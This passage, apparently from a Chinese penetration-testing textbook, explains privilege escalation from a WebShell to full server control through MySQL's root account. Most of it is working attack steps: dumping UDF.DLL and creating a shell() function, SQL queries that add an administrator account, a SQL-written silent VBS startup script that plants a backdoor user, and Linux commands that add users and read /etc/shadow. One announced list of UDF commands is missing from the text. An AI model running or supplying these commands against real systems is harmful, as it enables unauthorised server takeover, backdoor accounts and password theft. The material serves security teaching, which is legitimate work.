MySQL数据库是目前使用最多的数据库之一,其流行的架构为PHP+MySQL+ Apache,支持Linux和Windows操作系统。在Web渗透过程中,通过WebShell有可能获得MySQL的安装目录,通过下载MySQL数据库的user.myd表,能够方便地破解root用户的密码。root用户的密码还可能从网页脚本文件中获得。以root用户的身份可以直接登录数据库。在获得root用户的密码后,通过导出udf.dll函数,在条件合适的情况下,可以获得服务器权限。
下面以一个实例来介绍如何通过MySQL的root用户进行提权。
将MySQL提权脚本文件上传到服务器,运行后需要对IP地址、UID、密码、数据库进行配置。如图3-77所示,IP地址一般可以设置为localhost、127.0.0.1及真实的IP地址,UID默认为root,其他具有root用户权限的用户名称也可以使用,密码为具有root权限的用户的密码,数据库默认选择MySQL数据库,单击“提交查询内容”按钮进行连接测试。
图3-77 设置MySQL提权脚本文件
连接成功后,会给出相应的提示,如图3-78所示,包括用户、数据库、数据目录(datadir)、基本目录(basedir)、版本、插件路径、MySQL函数等信息。
图3-78 连接测试
单击“Dump UDF”按钮将UDF.DLL文件导出到默认的插件目录下,单击“Create Function”按钮创建shell函数。如图3-79所示,如果前面已经创建了shell函数,会提示该函数已经存在。
图3-79 创建shell函数
在查询文本框中输入“select shell('cmd','net user')”,查看系统中所有的用户。如图3-80所示,可以正常查看系统中的所有用户信息。
图3-80 查看用户
分别在查询文本框中输入脚本“select shell('cmd','net user temp temp123456')”、“select shell('cmd', 'net localgroup administrators temp /add ')”并执行该查询命令,如果执行成功,则表示在系统中添加用户“temp”,密码为“temp123456”,同时将该用户添加到管理员组中,使其具备管理员权限,执行成功后如图3-81和图3-82所示。
图3-81 添加temp用户
图3-82 将temp用户添加到管理员组
图3-83 查看管理员用户
在SQL查询文本框中输入“select shell('cmd','net localgroup administrators')”命令查看刚才添加的用户是否添加成功,如图3-83所示,查询结果表明已经将temp用户添加到管理员组中。
目前很多网站都会提供远程终端服务,只要用户添加成功,就可以直接登录该服务器。如图3-84所示,输入用户名和密码,成功进入该服务器,至此,就通过MySQL的root用户成功提权。
图3-84 成功进入服务器
通过本例中的方法可以快速将WebShell权限提升到服务器权限。当然,还有其他方法可以通过MySQL提权。下面对经常用到的一些有关MySQL的提权命令和方法进行总结。
1.UDF提权的常用命令
UDF提权的常用命令如下。
2.VBS启动项提权
先通过WebShell连接数据库,通过建立表a将VBS脚本写入表中,然后导入启动项。该脚本仅对中文版本有效,如果使用其他语言版本的操作系统,仅需对“C:\\ Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs”这个脚本进行相应更改。在VBS脚本后面有一个“0”,表示不弹出CMD窗口,以静默模式运行。该方法是在通过UDF提权失败的情况下,将VBS插入启动项中,待系统重启后将自动添加一个用户,示例如下。
create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"") " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user antian 123!@#$% /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators antian /add"",0) " ); select * from a into outfile "C:\\Documents and Settings\\All Users\\「开 始」菜单\\程序\\启动\\a.vbs";
3.Linux下的MySQL提权
Linux下的MySQL提权命令如下。
mysql -h localhost -uroot -p system useradd hacker system passwd hacker system tail -l /etc/passwd system tail -l /etc/shadow